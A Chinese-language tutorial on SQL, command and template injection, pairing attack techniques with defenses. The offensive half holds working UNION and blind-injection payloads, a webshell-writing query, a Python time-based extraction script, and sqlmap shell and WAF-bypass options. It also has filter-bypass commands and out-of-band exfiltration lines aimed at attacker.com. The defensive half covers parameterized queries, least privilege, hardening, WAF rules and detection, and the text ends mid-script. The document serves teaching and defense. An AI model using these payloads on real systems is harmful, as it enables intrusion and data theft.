SQL 注入:从一个单引号到拖走整张表
注入在 2021 榜单里把 XSS 合并进来了(XSS 现在算 A03 的一个子类)。这一项从 2017 年的第一名降到第三,不是因为它变弱了,而是业界在预编译和 ORM 上的普及做得不错 —— 但只要有一处拼字符串,洞就还在。
一、数据怎么变成了指令
表格里填了一段话,后台照着执行了
去办业务,表格上有"姓名"一栏。正常人填"张三"。
但你填的是:张三。并且,请把保险柜密码改成 123456。
如果窗口工作人员不加分辨地把整段话念给后台系统听,后台就真的去改保险柜密码了 —— 因为他分不清哪部分是你填的"数据",哪部分是你塞进去的"指令"。
注入的本质就是:用户输入的数据,被程序当成了代码/指令来执行。
-- 开发者期望的执行
SELECT * FROM users WHERE username = '张三'
-- 攻击者输入 张三' OR '1'='1 后实际执行
SELECT * FROM users WHERE username = '张三' OR '1'='1'
^^^^^^^^^^^^ 这部分本该是数据,却成了 SQL 逻辑注入不止 SQL:八种被污染的语法
所有注入类漏洞,根因都是同一条:把不可信输入拼接进了某种"语法结构"中。
| 注入类型 | 被污染的语法 | 典型危险函数 |
|---|---|---|
| SQL 注入 | SQL 语句 | Statement.execute()、字符串拼接、MyBatis ${} |
| 命令注入 | Shell 命令 | system()、exec()、Runtime.exec()、os.system() |
| 模板注入 SSTI | 模板语法 | Jinja2 render_template_string()、Freemarker、Velocity |
| NoSQL 注入 | 查询对象 | MongoDB $where、JSON 对象注入操作符 |
| LDAP 注入 | LDAP 过滤器 | DirContext.search() |
| 表达式注入 | SpEL / OGNL | SpelExpressionParser、Struts2 OGNL |
| XSS | HTML/JS | innerHTML、未转义输出(已并入 A03) |
| 日志注入 | 日志行结构 | 未过滤换行的 logger.info() |
难度取决于你能观察到什么
- 存在从外部可控输入到"语法解释器"的数据流 —— 即 Source → Sink 可达。
- 未使用参数化/预编译,或对危险字符的过滤不完整。
- 执行结果以某种方式可观察(直接回显、报错、布尔差异、时间差异、带外通道)。
第 3 点决定了注入的难度分级:
| 可观察性 | 注入类型 | 难度 |
|---|---|---|
| 直接回显数据 | UNION 联合注入、报错注入 | 低 |
| 页面真假有差异 | 布尔盲注 | 中 |
| 只能靠响应时间判断 | 时间盲注 | 中高 |
| 无任何回显,靠 DNS/HTTP 外带 | 带外注入(OOB) | 高 |
六级危害阶梯:从读到数据到接管服务器
OWASP 数据:CWE 集合 33 个,平均加权利用率 7.15%(A03 里最高的一档),影响 6.56%。
危害阶梯(以 SQL 注入为例):
读取敏感数据 → 拖库、用户信息泄露
↓
绕过认证 → ' OR 1=1 -- 直接登录任意账号
↓
写入/篡改数据 → 改余额、改订单、改权限
↓
读取/写入文件 → MySQL FILE 权限 → 写 Webshell
↓
执行系统命令 → SQL Server xp_cmdshell、PostgreSQL COPY FROM PROGRAM
↓
完全接管服务器 → 内网横向移动典型业务场景:
- 登录框:
' OR '1'='1' --万能密码(虽然现在少了,但老系统仍有)。 - 搜索/筛选/排序:
ORDER BY后的字段名直接拼接 —— 这是预编译救不了的位置(后面会讲)。 - 商品详情 / 订单查询:
?id=参数。 - 导出报表:filename、排序字段、时间范围。
- IP / User-Agent 记录:开发者没想到"HTTP 头也是用户输入"。
- 批量操作接口:
ids=1,2,3这种逗号拼接,直接进IN (...)。
📌 真实场景:一个后台的"按字段排序"功能,代码是
ORDER BY ${sortField} ${sortOrder}。因为ORDER BY后面不能用预编译占位符(占位符只能放"值",不能放"标识符"),开发为了灵活就用了${}。结果sortField可控 → 注入。这是我在审计里命中率最高的一个位置 —— 凡是看到${},先停下来看一眼。
二、注入点在哪,怎么确认
污点追踪:从 Source 到 Sink
污点分析三要素:Source(污点源)→ Propagation(传播)→ Sink(危险汇聚点)。
Java 审计
// ❌ 危险模式 1:Statement 字符串拼接
String sql = "SELECT * FROM users WHERE id = " + request.getParameter("id");
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql); // ← Sink
// ❌ 危险模式 2:MyBatis 的 ${}(字符串替换,非预编译)
// UserMapper.xml
// <select id="findByColumn" resultType="User">
// SELECT * FROM users ORDER BY ${column} ← ${} 直接文本替换,等同拼接
// </select>
// 正确应该是 #{column},但 #{column} 会被当成字符串值,ORDER BY 会失效
// 所以 ORDER BY 场景必须用白名单映射,见第四节
// ❌ 危险模式 3:LIKE 拼接
// SELECT * FROM t WHERE name LIKE '%${keyword}%'
// ✅ 安全模式:PreparedStatement 参数绑定
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setInt(1, Integer.parseInt(request.getParameter("id"))); // 类型也做了约束
ResultSet rs = ps.executeQuery();审计 grep 起点:
# Java:找 Statement / 拼接 SQL / MyBatis ${}
grep -rnE "createStatement\(\)|executeQuery\(\s*[\"'][^\"']*\+|\\\$\{[a-zA-Z_]" --include=*.{java,xml}
# MyBatis 专项:所有 ${} 都是嫌疑(#{} 是安全的)
grep -rnE '(\$\{[^}]*\})' --include=*.xml
# Python:找字符串格式化的 SQL
grep -rnE "(execute|executemany)\s*\(.*(%|\.format\(|f['\"]|\+)" --include=*.py
# PHP:找 SQL 拼接与危险命令函数
grep -rnE "(mysql_query|mysqli_query|query)\s*\(.*\\\$_(GET|POST|REQUEST|COOKIE)" --include=*.php
grep -rnE "(system|exec|passthru|shell_exec|popen|proc_open|`)" --include=*.php
# Node:找模板字符串 SQL
grep -rnE "query\s*\(\s*\`" --include=*.js
# 命令注入Sink(通用)
grep -rnE "Runtime\.getRuntime\(\)\.exec|ProcessBuilder|os\.system|subprocess.*shell\s*=\s*True|child_process" --include=*.{java,py,js}💡 踩坑提示:
PreparedStatement不是万能的。它能参数化的只有值(value),不能参数化标识符(identifier) —— 也就是表名、列名、ORDER BY字段、LIMIT值、IN子句的元素个数。这些位置只能靠白名单映射。审计时重点看:项目里有没有为了"动态表名/动态排序"而绕开预编译的地方。
Python 审计
# ❌ 危险:f-string 拼接 SQL
def get_user(user_id):
sql = f"SELECT * FROM users WHERE id = {user_id}" # 直接拼接
cursor.execute(sql)
# ❌ 危险:% 格式化
sql = "SELECT * FROM users WHERE name = '%s'" % username
# ❌ 危险:.format()
sql = "SELECT * FROM {} WHERE id = {}".format(table, uid)
# ✅ 安全:参数化(注意不同驱动的占位符不同)
# sqlite3: ? pymysql/psycopg2: %s
cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
# ✅ 动态表名/列名的正确做法:白名单映射
ALLOWED_SORT_COLUMNS = {"id": "id", "name": "username", "time": "created_at"}
def get_list(sort_by: str):
column = ALLOWED_SORT_COLUMNS.get(sort_by, "id") # 不在白名单就用默认值
return cursor.execute(f"SELECT * FROM t ORDER BY {column}") # column 来自白名单,安全六个探针,按顺序试
Step 1:找注入点
注入点不限于 URL 参数,所有这些位置都要测:
✅ URL 查询参数 ?id=1&name=test
✅ POST 表单体 username=admin&password=xxx
✅ JSON 请求体 {"id": 1, "filter": "..."}
✅ HTTP 头 User-Agent / X-Forwarded-For / Cookie / Referer
✅ 路径段 /api/user/1/detail
✅ 文件上传的文件名
✅ XML / SOAP 内容
✅ 二阶注入的"存储点"(先存进去,后续查询时触发)Step 2:探针测试(判断是否存在注入)
这是最关键的一步,按下面的顺序依次尝试:
-- 探针 1:单引号(最经典,看是否报错)
1'
-- 预期:数据库报错(MySQL: You have an error in your SQL syntax)
-- 或页面异常、500 错误
-- 探针 2:恒真 / 恒假对比(判断是否为布尔盲注)
1 AND 1=1 -- 页面正常
1 AND 1=2 -- 页面异常/无数据
-- 若两者表现不同 → 存在布尔盲注
-- 探针 3:算术运算(数字型注入专用)
1+1 -- 若返回 id=2 的数据 → 数字型注入,无引号包裹
3-1 -- 若返回 id=2 的数据 → 同上
-- 探针 4:字符串连接(判断数据库类型)
' + 'a -- MSSQL
' || 'a -- Oracle / PostgreSQL / SQLite
' 'a -- MySQL (' 'a 会被解析为 'a')
-- 探针 5:时间延迟(时间盲注)
' AND SLEEP(5)-- -- MySQL
' AND pg_sleep(5)-- -- PostgreSQL
'; WAITFOR DELAY '0:0:5'-- -- MSSQL
-- 探针 6:报错函数(报错注入)
' AND updatexml(1,concat(0x7e,version()),1)--
' AND extractvalue(1,concat(0x7e,user()))--Step 3:判断数据库类型
| 特征 | 数据库 |
|---|---|
@@version 有回显 | MySQL / MSSQL |
version() 有回显 | PostgreSQL |
sqlite_version() | SQLite |
WAITFOR DELAY 生效 | MSSQL |
报错含 ORA- | Oracle |
pg_sleep 生效 | PostgreSQL |
关键请求特征与判断依据汇总:
| 现象 | 结论 |
|---|---|
加 ' 后报 SQL 语法错 | 存在注入,大概率可报错注入 |
加 ' 后页面 500/空白 | 存在注入,需盲注 |
AND 1=1 正常 / AND 1=2 异常 | 布尔盲注 |
SLEEP(5) 明显延迟 | 时间盲注 |
输入被转义(\') | 尝试宽字节 / 编码绕过 |
| 输入被完全过滤(返回空) | 尝试二次注入 / 其他参数位置 |
| 单引号被过滤但数字可用 | 数字型注入,无需引号 |
💡 踩坑提示:别只测
id=1。很多系统对"看起来像数字"的参数做了intval(),但对"看起来像字符串"的参数(name、keyword、sort、order)完全没有防护。我实际挖到的注入,大概六成在排序字段和搜索框,不在 id 上。
三、从手工到 sqlmap 的完整利用链
⚠️ 以下内容仅限授权渗透测试 / 自有系统 / 安全研究环境中使用。
手工联合注入:从字段数到拖库
假设目标:https://target.com/product.php?id=1,加 ' 报错,确认 MySQL。
Step 1:判断字段数(ORDER BY 二分法)
-- 逐步增加 ORDER BY 的列序号,直到报错
1' ORDER BY 1--+ -- 正常
1' ORDER BY 2--+ -- 正常
1' ORDER BY 5--+ -- 正常
1' ORDER BY 6--+ -- 报错:Unknown column '6' in 'order clause'
-- 结论:字段数 = 5
-- 完整 URL(注意 --+ 中的 + 会被解析为空格,也可以用 %23 即 #)
https://target.com/product.php?id=1' ORDER BY 6--+
https://target.com/product.php?id=-1' UNION SELECT 1,2,3,4,5--+ -- 找回显位
--+解释:--是 SQL 注释符,但 SQL 注释要求--后跟空格。URL 里空格用+或%20。更稳妥的写法是直接用#的 URL 编码%23。
Step 2:确定回显位
-- 让原查询返回空结果(id=-1),使 UNION 的结果显示在页面上
-1' UNION SELECT 1,2,3,4,5%23
-- 页面显示 "2" 和 "4" → 第 2、4 列是回显位Step 3:收集信息
-- 数据库名、版本、当前用户
-1' UNION SELECT 1,database(),version(),user(),5%23
-- 所有数据库名
-1' UNION SELECT 1,group_concat(schema_name),3,4,5 FROM information_schema.schemata%23
-- 当前库的所有表名
-1' UNION SELECT 1,group_concat(table_name),3,4,5
FROM information_schema.tables WHERE table_schema=database()%23
-- 某表的列名
-1' UNION SELECT 1,group_concat(column_name),3,4,5
FROM information_schema.columns
WHERE table_schema=database() AND table_name='users'%23
-- 拖数据
-1' UNION SELECT 1,group_concat(username,0x3a,password),3,4,5 FROM users%23
-- 0x3a 是冒号的十六进制,用作分隔符(避免逗号被过滤)Step 4:写文件(需要 FILE 权限且知道绝对路径)
-- 前提:MySQL 用户有 FILE 权限,且 secure_file_priv 未限制
-1' UNION SELECT 1,'<?php @eval($_POST["cmd"]);?>',3,4,5
INTO OUTFILE '/var/www/html/shell.php'%23
-- 检查权限
-1' UNION SELECT 1,@@secure_file_priv,3,4,5%23
-- 若返回 NULL → 禁止导入导出,写文件这条路断了sqlmap:参数怎么调决定成败
sqlmap 是把上面的手工流程自动化,但参数怎么调决定了成败。
# ===== 基础用法 =====
sqlmap -u "https://target.com/product.php?id=1"
# -u: 目标 URL
# ===== 指定参数(URL 中有多个参数时,避免全测一遍)=====
sqlmap -u "https://target.com/product.php?id=1&cat=2" -p id
# -p: 只测试 id 参数
# ===== POST 请求 =====
sqlmap -u "https://target.com/login.php" --data "username=admin&password=123456" -p username
# ===== 从 Burp 抓的请求文件直接跑(最推荐,保留完整请求头/Cookie)=====
# 1. Burp 里右键请求 → Copy to file → req.txt
# 2. 执行:
sqlmap -r req.txt
# -r: 从文件读取原始 HTTP 请求(含 Cookie、Header,避免未登录被重定向)
# ===== 指定注入类型与数据库 =====
sqlmap -r req.txt --dbms=mysql --technique=U
# --dbms: 限定数据库类型,减少探测时间
# --technique: 指定注入技术,可选值:
# B = Boolean-based blind(布尔盲注)
# E = Error-based(报错注入)
# U = UNION query(联合查询)
# S = Stacked queries(堆叠查询)
# T = Time-based blind(时间盲注)
# Q = Inline queries(内联查询)
# 例:--technique=BEUST 全开;--technique=U 只跑联合
# ===== 提高等级与风险(关键!默认 level=1 会漏掉很多点)=====
sqlmap -r req.txt --level=5 --risk=3
# --level (1-5): 测试的全面程度
# level>=2 → 会测试 Cookie 参数
# level>=3 → 会测试 User-Agent / Referer
# level=5 → 会测试 Host 头
# --risk (1-3): 风险等级
# risk=2 → 加入基于时间的盲注(会产生大量请求)
# risk=3 → 加入 OR 类型的注入(可能导致 UPDATE 误伤数据!)
# ⚠️ 生产环境慎用 risk=3
# ===== 数据提取 =====
sqlmap -r req.txt --current-db # 当前数据库名
sqlmap -r req.txt --dbs # 所有数据库
sqlmap -r req.txt -D dbname --tables # 指定库的表
sqlmap -r req.txt -D dbname -T users --columns # 表的列
sqlmap -r req.txt -D dbname -T users -C username,password --dump # 拖数据
sqlmap -r req.txt -D dbname -T users --dump --start=1 --stop=100 # 限制条数
# ===== 绕过 WAF:tamper 脚本 =====
# tamper 的作用是对 payload 做变形,绕过 WAF 的特征匹配
sqlmap -r req.txt --tamper=space2comment,charencode,randomcase
# 常用 tamper 说明:
# space2comment → 空格替换为 /**/ (绕过过滤空格的 WAF)
# space2plus → 空格替换为 +
# randomcase → 随机大小写 (绕过大小写敏感的规则)
# charencode → URL 编码
# charunicodeencode → Unicode 编码
# between → 用 BETWEEN 替代 >
# equaltolike → 用 LIKE 替代 =
# greatest → 用 GREATEST 替代 >
# versionedkeywords → MySQL 版本注释混淆关键字
# halfversionedmorekeywords → 同上,更强
# 组合多个用逗号分隔,从左到右依次应用
# 查看所有 tamper
ls /usr/share/sqlmap/tamper/
# ===== 其他实用参数 =====
sqlmap -r req.txt --batch # 自动回答所有询问(非交互)
sqlmap -r req.txt --threads=10 # 并发线程(盲注提速,但会增加被发现概率)
sqlmap -r req.txt --delay=1 # 每次请求延迟 1 秒(规避速率检测,降速保稳)
sqlmap -r req.txt --time-sec=10 # 时间盲注的延迟秒数(网络慢时调大)
sqlmap -r req.txt --proxy="http://127.0.0.1:8080" # 走 Burp 代理,可观察 payload
sqlmap -r req.txt --flush-session # 清除缓存,重新测试
sqlmap -r req.txt --output-dir=/tmp/out # 指定输出目录
# ===== 操作系统交互(高权限时)=====
sqlmap -r req.txt --os-shell # 获取交互式系统 shell
sqlmap -r req.txt --os-cmd="whoami" # 执行单条命令
sqlmap -r req.txt --file-read="/etc/passwd" # 读文件
sqlmap -r req.txt --file-write="shell.php" --file-dest="/var/www/html/shell.php" # 写文件💡 踩坑提示 1:sqlmap 的结果是有缓存的(存在
~/.local/share/sqlmap/output/)。如果你改了 payload 或目标行为有变化,一定要加--flush-session,否则它会直接套用上次的结论,让你误判"不存在注入"。
💡 踩坑提示 2:目标有登录态时,必须用
-r req.txt而不是-u。否则 sqlmap 拿着一个没有 Cookie 的请求去测,服务端返回的是登录页,sqlmap 会告诉你"not injectable" —— 实际上只是它没登录进去。
时间盲注:sqlmap 判不出来时自己写
有些场景 sqlmap 会误判(比如目标有复杂的速率限制或随机延迟),这时自己写脚本更可控:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
MySQL 时间盲注脚本 —— 二分法提取数据,仅用于授权测试
原理:通过 SLEEP() 让响应延迟,根据延迟与否判断条件真假,
逐字符二分猜解,比逐字符遍历快得多。
"""
import requests
import time
import string
URL = "https://target.com/product.php"
HEADERS = {"User-Agent": "Mozilla/5.0", "Cookie": "PHPSESSID=xxxx"}
SLEEP_SEC = 2 # 每次判断的睡眠秒数(网络慢就调大)
THRESHOLD = 1.5 # 判定阈值:耗时超过这个秒数视为"条件为真"
def is_true(condition: str) -> bool:
"""注入一个条件,根据响应耗时判断真假"""
payload = f"1' AND IF({condition},SLEEP({SLEEP_SEC}),0)%23"
start = time.time()
try:
requests.get(URL, params={"id": payload},
headers=HEADERS, timeout=SLEEP_SEC + 8)
except requests.Timeout:
return True # 超时即视为触发了 SLEEP
elapsed = time.time() - start
return elapsed > THRESHOLD
def get_length(expr: str) -> int:
"""二分法猜解某表达式结果的长度"""
lo, hi = 1, 100
while lo < hi:
mid = (lo + hi) // 2
if is_true(f"LENGTH(({expr}))>{mid}"):
lo = mid + 1
else:
hi = mid
return lo
def extract(expr: str, length: int) -> str:
"""二分法逐字符提取内容"""
result = ""
for pos in range(1, length + 1):
lo, hi = 32, 126 # 可打印 ASCII 范围
while lo < hi:
mid = (lo + hi) // 2
# 比较当前位置字符的 ASCII 值
if is_true(f"ASCII(SUBSTRING(({expr}),{pos},1))>{mid}"):
lo = mid + 1
else:
hi = mid
result += chr(lo)
print(f"\r[*] 进度 {pos}/{length}: {result}", end="", flush=True)
print()
return result
if __name__ == "__main__":
# 先测基线,确认时间盲注可用
print("[*] 测试时间盲注可用性...")
if not is_true("1=1"):
print("[-] 目标似乎不存在时间盲注,退出")
exit(1)
print("[+] 时间盲注可用")
# 提取当前数据库名
expr = "SELECT database()"
ln = get_length(expr)
print(f"[*] 数据库名长度: {ln}")
print(f"[+] 数据库名: {extract(expr, ln)}")
# 提取当前用户
expr2 = "SELECT user()"
ln2 = get_length(expr2)
print(f"[+] 当前用户: {extract(expr2, ln2)}")关键参数说明:
SLEEP_SEC和THRESHOLD要配合网络状况调。目标在国外或网络抖动大时,SLEEP_SEC至少设 3 秒,否则会大量误判。- 二分法(每次砍一半)比逐字符遍历快约 7 倍:ASCII 32-126 共 95 个字符,遍历平均要 48 次请求,二分只要 7 次。
- 提取长内容(比如整个表)会非常慢,实际渗透中优先用 UNION 或报错注入,时间盲注是最后手段。
顺带说说命令注入与 SSTI
命令注入
# 常见注入分隔符(按优先级尝试)
; whoami # 分号,顺序执行
| whoami # 管道
|| whoami # 前一个失败才执行后一个
& whoami # 后台执行(Linux)
&& whoami # 前一个成功才执行后一个
`whoami` # 反引号,命令替换
$(whoami) # $() 命令替换
\n whoami # 换行符(URL 编码 %0a)
# 典型场景:ping / traceroute 功能
# 输入: 127.0.0.1; cat /etc/passwd
# 原始: ping -c 4 127.0.0.1; cat /etc/passwd
# 绕过空格过滤
cat${IFS}/etc/passwd # $IFS 是 shell 内部字段分隔符,默认为空格
cat</etc/passwd # 用输入重定向替代空格
{cat,/etc/passwd} # 花括号展开
cat%09/etc/passwd # Tab(URL 编码)
# 绕过关键字过滤
c'a't /etc/passwd # 引号分割
c"a"t /etc/passwd
ca\t /etc/passwd # 反斜杠
/bin/c?t /etc/passwd # 通配符 ? 匹配单字符
/bin/ca* /etc/passwd # 通配符 * 匹配多字符
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh # base64 编码绕过(echo 后面是 "cat /etc/passwd" 的 base64)
# 无回显时用带外通道验证(OOB)
# 监听:nc -lvnp 4444
curl http://attacker.com/$(whoami | base64)
nslookup $(whoami).attacker.com # 用 DNS 外带,最隐蔽
ping -c 1 $(whoami).attacker.comSSTI(服务端模板注入)
# 检测:在输入点提交数学表达式,看是否被计算
# Jinja2 / Twig: {{7*7}} → 返回 49 则存在 SSTI
# Freemarker: ${7*7}
# Velocity: #set($x=7*7)${x}
# Jinja2 利用链(Python)
{{''.__class__.__mro__[1].__subclasses__()}} # 列出所有可用类
{{config.items()}} # 读 Flask 配置(含 SECRET_KEY!)
{{''.__class__.__mro__[1].__subclasses__()[X]('whoami',shell=True,stdout=-1).communicate()}}
# X 是 subprocess.Popen 在子类列表中的索引,需要逐个试
# 更简洁的 Jinja2 RCE(利用 cycler / joiner 等 gadget)
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{joiner.__init__.__globals__.os.popen('id').read()}}
{{namespace.__init__.__globals__.os.popen('id').read()}}
# 自动化工具:tplmap
tplmap -u "https://target.com/page?name=test"
tplmap -u "https://target.com/page?name=test" --os-shellNuclei:资产多的时候用它扫
# Nuclei 批量扫 SQL 注入(速度快,适合资产多的场景)
nuclei -u https://target.com -t sql/ -severity critical,high
# 指定模板目录
nuclei -l targets.txt -t ~/nuclei-templates/http/vulnerabilities/ \
-severity critical,high -o nuclei_results.txt
# 常用参数
# -l 目标列表文件
# -t 模板路径(可以是目录或单个文件)
# -severity 按严重度过滤: info/low/medium/high/critical/unknown
# -o 输出文件
# -rate-limit 每秒请求数限制(重要!别把目标打挂)
# -proxy 走代理(配合 Burp 观察)
# -tags 按标签过滤,如 -tags sqli,rce,lfi
nuclei -l targets.txt -tags sqli -rate-limit 10 -o sqli_results.txt四、预编译、白名单与最小权限
参数化是唯一根治手段
这是唯一能根治 SQL 注入的手段。转义/过滤都是补丁,预编译才是解法。
// ✅ Java:PreparedStatement
public User getUser(long id) throws SQLException {
String sql = "SELECT * FROM users WHERE id = ?";
try (PreparedStatement ps = conn.prepareStatement(sql)) {
ps.setLong(1, id); // 类型安全,且值不会被当作 SQL 解析
try (ResultSet rs = ps.executeQuery()) {
// ...
}
}
}
// ✅ MyBatis:一律用 #{},禁用 ${}
// <select id="getUser" resultType="User">
// SELECT * FROM users WHERE id = #{id}
// </select>
// ⚠️ 必须动态标识符时用白名单映射(ORDER BY / 表名 / 列名 场景)
public List<User> list(String sortField, String sortDir) {
// 白名单:只接受这几个值,不接受任何自由输入
Map<String, String> SORT_WHITELIST = Map.of(
"id", "id",
"name", "username",
"time", "created_at"
);
String column = SORT_WHITELIST.getOrDefault(sortField, "id"); // 未知输入回退到安全值
String dir = "desc".equalsIgnoreCase(sortDir) ? "DESC" : "ASC"; // 方向也白名单
String sql = "SELECT * FROM users ORDER BY " + column + " " + dir;
// 此时 column 和 dir 都来自白名单,不可能注入
return jdbcTemplate.query(sql, userRowMapper);
}# ✅ Python
# sqlite3 / psycopg2 / pymysql 的占位符不同,注意区分
# sqlite3 & aiosqlite : ?
# pymysql / mysqlclient : %s
# psycopg2 : %s
cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
# ❌ 注意:参数化不能用于标识符,动态表名仍需白名单
# cursor.execute(f"SELECT * FROM {table}") ← 不安全预编译兜不住的三个位置,只能靠白名单
原则:预编译是主防线,下面这些是"万一主防线被突破"的兜底。
1)输入校验(白名单优先)
// 类型与格式强约束
public Result getOrder(@PathVariable String orderId) {
// 订单号必须是纯数字且长度合理
if (!orderId.matches("^\\d{1,20}$")) {
throw new IllegalArgumentException("非法订单号");
}
long id = Long.parseLong(orderId);
// ...
}2)最小权限数据库账号
-- 应用账号只给必要权限,绝不给 DBA 权限
-- MySQL 示例
CREATE USER 'app_user'@'10.0.%' IDENTIFIED BY 'StrongPassw0rd!';
-- 只给增删改查,不给 FILE / PROCESS / SUPER
GRANT SELECT, INSERT, UPDATE, DELETE ON appdb.* TO 'app_user'@'10.0.%';
-- ❌ 绝不能这样
-- GRANT ALL PRIVILEGES ON *.* TO 'app_user'@'%';
-- 专门的只读账号用于查询类服务
CREATE USER 'app_readonly'@'10.0.%' IDENTIFIED BY 'AnotherStr0ng!';
GRANT SELECT ON appdb.* TO 'app_readonly'@'10.0.%';
FLUSH PRIVILEGES;
-- 验证权限
SHOW GRANTS FOR 'app_user'@'10.0.%';💡 为什么最小权限这么重要:就算预编译被绕过了(比如某个动态 SQL 场景),攻击者拿到的是一个只能 SELECT 本库数据的账号,无法写文件、无法跨库、无法执行系统命令。这直接把"服务器被接管"降回"部分数据泄露"。权限是最容易被忽略、但收益最高的一层防御。
3)统一错误处理
// ❌ 危险:把原始 SQL 异常直接抛给前端
catch (SQLException e) {
return Result.error(e.getMessage()); // 会暴露表结构、SQL 片段
}
// ✅ 正确:记录到日志,对外返回通用错误
catch (SQLException e) {
log.error("Database error, sqlCode={}", e.getErrorCode(), e); // 详细日志留服务端
return Result.error("系统繁忙,请稍后再试"); // 对外通用文案
}4)命令执行:永远不要用 shell
# ❌ 危险:shell=True 会走 shell 解析,分号管道全部生效
import subprocess
subprocess.run(f"ping -c 4 {user_input}", shell=True)
# ✅ 正确:传列表,不走 shell,且参数不会被解析为命令
subprocess.run(["ping", "-c", "4", user_input], shell=False)
# ✅ 更彻底:用原生库替代命令调用
import ipaddress
# 先校验是合法 IP
ipaddress.ip_address(user_input)
# 然后用 Python 的 icmplib 等库,完全不碰 shell// Java 同理:用 ProcessBuilder 传数组,不要用字符串拼接
// ❌ Runtime.getRuntime().exec("ping -c 4 " + input);
// ✅
new ProcessBuilder("ping", "-c", "4", input).start();5)模板:禁用动态模板渲染
# ❌ 危险:把用户输入当模板渲染
from flask import render_template_string
return render_template_string(user_input)
# ✅ 正确:用静态模板文件 + 变量传递
return render_template("page.html", name=user_input)
# 模板文件是固定的,用户输入只作为变量值,不会被解析为模板语法中间件配置加固
MySQL 配置加固:
# /etc/mysql/mysql.conf.d/mysqld.cnf
[mysqld]
# 禁用 LOAD DATA / SELECT ... INTO OUTFILE 的文件读写(防注入写 Webshell)
secure_file_priv = ""
# 禁用 LOCAL INFILE(防读取客户端文件)
local_infile = 0
# 只允许本机/内网连接
bind-address = 127.0.0.1
# 禁用符号链接(防绕过文件权限)
skip-symbolic-links
# 开启错误日志便于审计
log_error = /var/log/mysql/error.logPHP 配置:
; php.ini
; 关闭魔术引号的幻觉(PHP 5.4 后已移除,但老配置可能残留)
magic_quotes_gpc = Off
; 禁用危险函数
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
; 关闭错误显示(生产环境必须)
display_errors = Off
log_errors = On
error_log = /var/log/php/error.logWAF:兜底不是主防
WAF 是兜底不是主防,但对"来不及改代码的老系统"是唯一可行手段。
# ModSecurity + OWASP CRS 核心规则示例
# ===== 规则 1:检测 SQL 关键字(基础特征)=====
SecRule ARGS|ARGS_NAMES|REQUEST_HEADERS "@rx (?i)(\bunion\b\s+\bselect\b|\bselect\b.*\bfrom\b.*\binformation_schema\b|\bor\b\s+\d+\s*=\s*\d+)" \
"id:9003001,\
phase:2,\
deny,\
status:403,\
log,\
msg:'SQL Injection Attempt - Union/Select',\
tag:'OWASP-A03',\
tag:'attack-sqli',\
severity:'CRITICAL'"
# ===== 规则 2:检测时间盲注函数 =====
SecRule ARGS "@rx (?i)\b(sleep\s*\(|benchmark\s*\(|pg_sleep\s*\(|waitfor\s+delay\b)" \
"id:9003002,\
phase:2,\
deny,\
status:403,\
log,\
msg:'SQL Injection Attempt - Time-based',\
tag:'OWASP-A03',\
severity:'CRITICAL'"
# ===== 规则 3:检测注释符(绕过常用)=====
SecRule ARGS "@rx (--\s|#\s|/\*|\*/|;--)" \
"id:9003003,\
phase:2,\
deny,\
status:403,\
log,\
msg:'SQL Comment Sequence Detected',\
tag:'OWASP-A03'"
# ===== 规则 4:检测命令注入分隔符 =====
SecRule ARGS "@rx [;|&`\$]\s*(cat|ls|whoami|id|nc|wget|curl|bash|sh|python|perl)\b" \
"id:9003004,\
phase:2,\
deny,\
status:403,\
log,\
msg:'OS Command Injection Attempt',\
tag:'OWASP-A03',\
severity:'CRITICAL'"
# ===== 规则 5:检测 SSTI 特征 =====
SecRule ARGS "@rx (\{\{|\}\}|\$\{|\}\}|__class__|__mro__|__subclasses__|__globals__)" \
"id:9003005,\
phase:2,\
deny,\
status:403,\
log,\
msg:'Server Side Template Injection Attempt',\
tag:'OWASP-A03',\
severity:'CRITICAL'"💡 踩坑提示:WAF 规则太严会误伤正常业务。比如规则 3 拦注释符,如果业务里有用户提交代码片段的功能,就会误杀。上线前务必:
- 先开
SecRuleEngine DetectionOnly(只记录不拦截)跑一周。- 分析误报,加白名单规则。
- 再切到
On。apache# 只记录不拦截(观察期) SecRuleEngine DetectionOnly # 正式拦截 # SecRuleEngine On
腾讯云/阿里云 WAF 配置要点:
- 开启 SQL 注入防护规则集,模式先设"观察"再转"拦截"。
- 开启 命令注入/代码执行防护。
- 配置 CC 防护(防 sqlmap 高频探测)。
- 自定义规则:对
/api/*路径的参数值长度做限制(比如 id 参数最长 20 字符)。
检测:别让注入成功了还不知道
WAF 拦不住所有东西,检测能力决定了你能多快发现被打了:
# SIEM 检测规则:SQL 注入尝试告警
id: sqli-attempt-detection
detection:
condition: waf_hits or app_errors
rules:
- source: waf
rule_id: [9003001, 9003002, 9003003] # 上面定义的规则
count: 5
window: 60s
group_by: source_ip
- source: app_log
pattern: "SQLSyntaxErrorException|You have an error in your SQL syntax"
count: 3
window: 300s
action:
- alert_soc # 告警到安全运营
- block_ip_duration: 3600 # 封禁源 IP 1 小时
severity: critical
response_playbook: "检查该 IP 的所有请求,确认是否有成功的注入;排查数据库审计日志"关键:数据库审计日志。这是发现"成功的注入"的最后手段:
-- MySQL 开启通用查询日志(仅排障时临时开,性能影响大)
SET GLOBAL general_log = 'ON';
SET GLOBAL log_output = 'TABLE';
-- 事后分析
SELECT * FROM mysql.general_log
WHERE argument LIKE '%information_schema%'
OR argument LIKE '%UNION%'
ORDER BY event_time DESC LIMIT 100;
-- 排查完记得关掉
SET GLOBAL general_log = 'OFF';回归验证(含 sqlmap 缓存的坑)
#!/usr/bin/env bash
# SQL 注入修复回归验证脚本
TARGET="https://target.com/product.php"
PASS=0; FAIL=0
# 定义:如果响应中包含数据库错误特征 → 说明注入仍存在
is_vulnerable() {
local payload="$1"
local resp
resp=$(curl -s "${TARGET}?id=${payload}" --max-time 10)
# 检测数据库错误特征
if echo "$resp" | grep -qiE "SQL syntax|mysql_fetch|ORA-[0-9]|PostgreSQL|SQLite|sqlstate|You have an error"; then
return 0 # 有错误特征 → 存在注入
fi
return 1
}
run_test() {
# run_test <用例名> <payload> <期望: safe|vuln>
local name="$1" payload="$2" expect="$3"
if is_vulnerable "$payload"; then
actual="vuln"
else
actual="safe"
